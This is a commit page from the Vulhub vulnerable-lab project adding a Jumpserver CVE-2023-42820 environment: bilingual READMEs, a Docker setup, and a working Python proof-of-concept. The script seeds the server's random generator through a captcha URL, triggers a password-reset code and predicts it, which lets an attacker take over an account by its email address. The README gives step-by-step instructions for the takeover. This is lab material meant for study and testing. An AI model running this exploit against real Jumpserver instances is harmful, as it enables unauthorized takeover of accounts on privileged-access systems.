first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
jumpserver/CVE-2023-42820/1.png
Normal file
BIN
jumpserver/CVE-2023-42820/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 176 KiB |
65
jumpserver/CVE-2023-42820/README.md
Normal file
65
jumpserver/CVE-2023-42820/README.md
Normal file
@@ -0,0 +1,65 @@
|
||||
# Jumpserver random seed leakage and account takeover (CVE-2023-42820)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Jumpserver is a Popular Open Source PAM (Privileged Access Management) system that provides web-based SSH (Secure Shell) and RDP (Remote Desktop Protocol) gateway.
|
||||
|
||||
In the version prior to 3.6.4 is affected by a high severity vulnerability. This vulnerability is due to a third-party library [django-simple-captcha](https://github.com/mbi/django-simple-captcha) exposing the random number seed to the API, potentially allowing the randomly generated verification codes to be replayed, which could lead to password resets.
|
||||
|
||||
References:
|
||||
|
||||
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
|
||||
- <https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw>
|
||||
<!-- - <https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html> -->
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Before starting the server, change the value of `DOMAINS` in [config.env](config.env) to your IP and port, e.g. `DOMAINS=your-ip:8080`.
|
||||
|
||||
Execute following command to start a Jumpserver v3.6.3:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After waiting for a while, open `http://your-ip:8080` to see the Jumpserver login page.
|
||||
|
||||
## Vulnerability reproduce
|
||||
|
||||
I wrote a fairly straightforward semi-automated script to reproduce this vulnerability. Since it's semi-automated, it's crucial to follow the steps below meticulously to reproduce it accurately.
|
||||
|
||||
Firstly, open the 'Forgot Password' page in the tab #1 of your browser: `http://your-ip:8080/core/auth/password/forget/previewing/`. At this point, there will be a captcha displayed on the page.
|
||||
|
||||
- If the captcha includes the number "10", refresh it, as our script currently can't handle it
|
||||
- If the captcha doesn't include the number "10", proceed to open this captcha in a new tab (tab #2)
|
||||
|
||||
The captcha image's URL must contain a SHA1 hash like `http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/`, copy the hash as **seed** and we will use it later.
|
||||
|
||||
Return to the tab #1 and refresh the page. The purpose of refreshing is to **not use** the captcha containing the **seed** as this seed will be utilized in the subsequent steps.
|
||||
|
||||
After refreshing the page, correctly fill in the username and new captcha and submit it. You will be redirected to the captcha verification page.
|
||||
|
||||
The URL of this page should like `http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl`, containing a random token value. Record this value as the **token**.
|
||||
|
||||
Use our [POC](poc.py):
|
||||
|
||||
```
|
||||
python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]
|
||||
```
|
||||
|
||||
This script requires 4 parameters:
|
||||
|
||||
- `-t` The target Jumpserver server URL
|
||||
- `--email` The email address of the user to takeover (In vulhub is `admin@mycomany.com`)
|
||||
- `--seed` The pseudorandom number **seed** noted earlier
|
||||
- `--token` The **token** noted earlier
|
||||
|
||||
Upon the execution of the script, the predicted code value will be displayed:
|
||||
|
||||

|
||||
|
||||
Return to your browser, enter this code and submit it. You will then be directed to the new password modification page; change the password accordingly.
|
||||
|
||||
For the complete reproduction process, please refer to the following [this gif](https://i.imgur.com/JXanh2I.gif):
|
||||
|
||||

|
59
jumpserver/CVE-2023-42820/README.zh-cn.md
Normal file
59
jumpserver/CVE-2023-42820/README.zh-cn.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Jumpserver随机数种子泄露导致账户劫持漏洞(CVE-2023-42820)
|
||||
|
||||
Jumpserver是一个开源堡垒机系统。在其3.6.4及以下版本中,存在一处账户接管漏洞。攻击者通过第三方库[django-simple-captcha](https://github.com/mbi/django-simple-captcha)泄露的随机数种子推算出找回密码时的用户Token,最终修改用户密码。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp>
|
||||
- <https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw>
|
||||
<!-- - <https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html> -->
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
启动环境前,修改[config.env](config.env)中`DOMAINS`的值为你的IP和端口,如`DOMAINS=your-ip:8080`。
|
||||
|
||||
然后执行如下命令启动一个Jumpserver 3.6.3 的服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
启动服务需要等待一段时间,之后访问`http://your-ip:8080`即可查看到Jumpserver的登录页面。我们使用`admin`作为账号及密码即可登录,第一次登录管理员账号需要修改密码。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
我编写了一个非常简单的半自动化脚本来复现这个漏洞。由于是半自动化,严格按照如下步骤方可正确复现。
|
||||
|
||||
首先,在浏览器第一个Tab中打开忘记密码页面:`http://your-ip:8080/core/auth/password/forget/previewing/`,此时页面上将有一个验证码。
|
||||
|
||||
- 如果验证码中包含数字10,则请刷新验证码,因为我们的脚本暂时无法处理数字10
|
||||
- 如果验证码中不包含数字10,则右键菜单中将该验证码在新Tab下打开
|
||||
|
||||
新Tab中验证码的URL类似于`http://your-ip:8080/core/auth/captcha/image/87b2723d404657c2294abfab908975ebb9da5468/`,其中包含该验证码的key(一串sha1 hash值),也就是后面伪随机数使用的种子,记录下这个值作为**seed**。
|
||||
|
||||
返回第一个Tab,**刷新页面**。刷新页面的目的是,不使用包含“种子”的验证码,因为这个种子将在后续步骤中使用到。
|
||||
|
||||
刷新页面后正确填写用户名和验证码后提交,跳转到验证码验证页面。此时这个页面的URL类似于`http://localhost:8080/core/auth/password/forgot/?token=sceOx7yWuAH9wWcuzc0nMQmLBzEPNhkhuTfl`,其中包含一个随机的token值,记录下这个值作为**token**。
|
||||
|
||||
执行我们的[脚本](poc.py):
|
||||
|
||||
```
|
||||
python poc.py -t http://localhost:8080 --email admin@mycomany.com --seed [seed] --token [token]
|
||||
```
|
||||
|
||||
这个脚本需要传入4个参数:
|
||||
|
||||
- `-t` 指定目标Jumpserver服务器地址
|
||||
- `--email` 指定待劫持用户的邮箱地址
|
||||
- `--seed` 前面记下来的随机数种子(**seed**)
|
||||
- `--token` 前面记下来的token值(**token**)
|
||||
|
||||
脚本执行后,将输出预测的code值:
|
||||
|
||||

|
||||
|
||||
回到浏览器中,输入该code提交,即可来到修改新密码页面,修改密码即可。
|
||||
|
||||
完整的复现过程请参考如下[这段屏幕录像](https://i.imgur.com/JXanh2I.gif):
|
||||
|
||||

|
56
jumpserver/CVE-2023-42820/config.env
Normal file
56
jumpserver/CVE-2023-42820/config.env
Normal file
@@ -0,0 +1,56 @@
|
||||
# 版本号可以自己根据项目的版本修改
|
||||
VERSION=v3.6.3
|
||||
|
||||
# 构建参数, 支持 amd64/arm64/loong64
|
||||
TARGETARCH=amd64
|
||||
|
||||
# Compose
|
||||
COMPOSE_PROJECT_NAME=jms
|
||||
# COMPOSE_HTTP_TIMEOUT=3600
|
||||
# DOCKER_CLIENT_TIMEOUT=3600
|
||||
DOCKER_SUBNET=192.168.250.0/24
|
||||
|
||||
# 持久化存储
|
||||
VOLUME_DIR=/opt/jumpserver
|
||||
|
||||
# MySQL
|
||||
DB_HOST=mysql
|
||||
DB_PORT=3306
|
||||
DB_USER=root
|
||||
DB_PASSWORD=nu4x599Wq7u0Bn8EABh3J91G
|
||||
MARIADB_ROOT_PASSWORD=nu4x599Wq7u0Bn8EABh3J91G
|
||||
DB_NAME=jumpserver
|
||||
MARIADB_DATABASE=jumpserver
|
||||
|
||||
# Redis
|
||||
REDIS_HOST=redis
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=8URXPL2x3HZMi7xoGTdk3Upj
|
||||
|
||||
# Core
|
||||
SECRET_KEY=B3f2w8P2PfxIAS7s4URrD9YmSbtqX4vXdPUL217kL9XPUOWrmy
|
||||
BOOTSTRAP_TOKEN=7Q11Vz6R2J6BLAdO
|
||||
DEBUG=FALSE
|
||||
LOG_LEVEL=ERROR
|
||||
DOMAINS=
|
||||
|
||||
# Web
|
||||
HTTP_PORT=8080
|
||||
SSH_PORT=2222
|
||||
MAGNUS_MYSQL_PORT=33061
|
||||
MAGNUS_MARIADB_PORT=33062
|
||||
MAGNUS_REDIS_PORT=63790
|
||||
|
||||
# Xpack
|
||||
RDP_PORT=3389
|
||||
MAGNUS_POSTGRESQL_PORT=54320
|
||||
MAGNUS_ORACLE_PORTS=30000-30010
|
||||
|
||||
# Guacd
|
||||
GUA_HOST: 127.0.0.1
|
||||
GUA_PORT: 4822
|
||||
|
||||
##
|
||||
# SECRET_KEY 保护签名数据的密匙, 首次安装请一定要修改并牢记, 后续升级和迁移不可更改, 否则将导致加密的数据不可解密。
|
||||
# BOOTSTRAP_TOKEN 为组件认证使用的密钥, 仅组件注册时使用。组件指 koko、guacamole
|
||||
CORE_HOST=http://127.0.0.1:8080
|
36
jumpserver/CVE-2023-42820/docker-compose.yml
Normal file
36
jumpserver/CVE-2023-42820/docker-compose.yml
Normal file
@@ -0,0 +1,36 @@
|
||||
version: '2.4'
|
||||
services:
|
||||
core:
|
||||
image: vulhub/jumpserver:3.6.3
|
||||
ulimits:
|
||||
core: 0
|
||||
restart: always
|
||||
tty: true
|
||||
environment:
|
||||
MAGNUS_PORT: ${MAGNUS_PORT:-30000-30020}
|
||||
env_file: config.env
|
||||
ports:
|
||||
- "8080:80"
|
||||
- "2222:2222"
|
||||
networks:
|
||||
- jumpnet
|
||||
|
||||
mysql:
|
||||
image: mariadb:10.11.5
|
||||
command: --character-set-server=utf8 --collation-server=utf8_general_ci
|
||||
env_file: config.env
|
||||
networks:
|
||||
- jumpnet
|
||||
|
||||
redis:
|
||||
image: redis:6.2.13
|
||||
command:
|
||||
- /bin/sh
|
||||
- -c
|
||||
- redis-server --requirepass $$REDIS_PASSWORD --loglevel warning --maxmemory-policy allkeys-lru
|
||||
env_file: config.env
|
||||
networks:
|
||||
- jumpnet
|
||||
|
||||
networks:
|
||||
jumpnet:
|
96
jumpserver/CVE-2023-42820/poc.py
Normal file
96
jumpserver/CVE-2023-42820/poc.py
Normal file
@@ -0,0 +1,96 @@
|
||||
import requests
|
||||
import logging
|
||||
import sys
|
||||
import random
|
||||
import string
|
||||
import argparse
|
||||
from urllib.parse import urljoin
|
||||
|
||||
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
|
||||
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
|
||||
|
||||
|
||||
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
|
||||
args_names = ['lower', 'upper', 'digit', 'special_char']
|
||||
args_values = [lower, upper, digit, special_char]
|
||||
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
|
||||
args_string_map = dict(zip(args_names, args_string))
|
||||
kwargs = dict(zip(args_names, args_values))
|
||||
kwargs_keys = list(kwargs.keys())
|
||||
kwargs_values = list(kwargs.values())
|
||||
args_true_count = len([i for i in kwargs_values if i])
|
||||
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
|
||||
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
|
||||
|
||||
can_startswith_special_char = args_true_count == 1 and special_char
|
||||
|
||||
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
|
||||
|
||||
while True:
|
||||
password = list(random.choice(chars) for i in range(length))
|
||||
for k, v in kwargs.items():
|
||||
if v and not (set(password) & set(args_string_map[k])):
|
||||
# 没有包含指定的字符, retry
|
||||
break
|
||||
else:
|
||||
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
|
||||
# 首位不能为特殊字符, retry
|
||||
continue
|
||||
else:
|
||||
# 满足要求终止 while 循环
|
||||
break
|
||||
|
||||
password = ''.join(password)
|
||||
return password
|
||||
|
||||
|
||||
def nop_random(seed: str):
|
||||
random.seed(seed)
|
||||
for i in range(4):
|
||||
random.randrange(-35, 35)
|
||||
|
||||
for p in range(int(180 * 38 * 0.1)):
|
||||
random.randint(0, 180)
|
||||
random.randint(0, 38)
|
||||
|
||||
|
||||
def fix_seed(target: str, seed: str):
|
||||
def _request(i: int, u: str):
|
||||
logging.info('send %d request to %s', i, u)
|
||||
response = requests.get(u, timeout=5)
|
||||
assert response.status_code == 200
|
||||
assert response.headers['Content-Type'] == 'image/png'
|
||||
|
||||
url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')
|
||||
for idx in range(30):
|
||||
_request(idx, url)
|
||||
|
||||
|
||||
def send_code(target: str, email: str, reset_token: str):
|
||||
url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)
|
||||
response = requests.post(url, json={
|
||||
'email': email,
|
||||
'sms': '',
|
||||
'form_type': 'email',
|
||||
}, allow_redirects=False)
|
||||
assert response.status_code == 200
|
||||
logging.info("send code headers: %r response: %r", response.headers, response.text)
|
||||
|
||||
|
||||
def main(target: str, email: str, seed: str, token: str):
|
||||
fix_seed(target, seed)
|
||||
nop_random(seed)
|
||||
send_code(target, email, token)
|
||||
code = random_string(6, lower=False, upper=False)
|
||||
logging.info("your code is %s", code)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description='Process some integers.')
|
||||
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
|
||||
parser.add_argument('--email', type=str, required=True, help='account email')
|
||||
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
|
||||
parser.add_argument('--token', type=str, required=True, help='account reset token')
|
||||
|
||||
args = parser.parse_args()
|
||||
main(args.target, args.email, args.seed, args.token)
|
Reference in New Issue
Block a user